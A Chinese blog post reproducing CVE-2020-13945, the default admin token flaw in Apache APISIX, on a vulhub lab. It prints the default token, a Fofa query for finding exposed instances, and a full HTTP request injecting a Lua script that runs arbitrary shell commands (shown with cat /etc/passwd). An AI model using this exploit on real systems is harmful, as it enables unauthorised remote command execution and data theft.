前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >Apache APISIX 默认访问令牌漏洞 (CVE-2020-13945)

Apache APISIX 默认访问令牌漏洞 (CVE-2020-13945)

作者头像
网e渗透安全部
发布2022-06-15 11:40:13
发布2022-06-15 11:40:13
2.9K00
代码可运行
举报
文章被收录于专栏:白安全组白安全组
运行总次数:0
代码可运行

前言:

APISIX简介

官方一句话介绍:Apache APISIX是一个高性能API网关。

API网关又是什么?

百度:API网关,软件术语,两个相互独立的局域网之间通过路由器进行通信,中间的路由被称之为网关。

任何一个应用系统如果需要被其他系统调用,就需要暴露 API,这些 API 代表着一个一个的功能点。

如果两个系统中间通信,在系统之间加上一个中介者协助 API 的调用,这个中介者就是 API 网关。

那意思就是Apisix是两个系统的一个中介,可以使用这个中间管理系统API。

存在漏洞:

在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。

意思就是有一个默认的Token,可以直接得到管理员权限,并插入攻击脚本。

(以上介绍来自互联网)

Fofa语句:

title="Apache APISIX" && port="9080"

正文:

环境搭建:

利用vulhub搭建靶场,启动目录:

代码语言:javascript
代码运行次数:0
复制
/vulhub-master/apisix/CVE-2020-13945

启动命令:

代码语言:javascript
代码运行次数:0
复制
docker-compose up -d

访问url:http://192.168.0.110:9080/

这样就是搭建完毕。

漏洞复现:

访问:

代码语言:javascript
代码运行次数:0
复制
http://192.168.0.110:9080/apisix/admin/routes

返回failed to check token证明可以利用

构造payload:

代码语言:javascript
代码运行次数:0
复制
{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

我们利用burp发送数据包:

代码语言:javascript
代码运行次数:0
复制
POST /apisix/admin/routes HTTP/1.1
Host: 192.168.0.110:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
 
{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

然后我们来访问网址:http://192.168.0.110:9080/attack?cmd=cat%20/etc/passwd

可以在后面构造任意语句可以执行

本文为简单利用的方式,原理等可以参考文章:

代码语言:javascript
代码运行次数:0
复制
https://blog.csdn.net/horistttt/article/details/124344871?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165321267916781685369161%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165321267916781685369161&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-124344871-null-null.142^v10^control,157^v4^control&utm_term=%28CVE-2020-13945&spm=1018.2226.3001.4187
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
  • Fofa语句:
  • 正文:
    • 环境搭建:
    • 漏洞复现:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档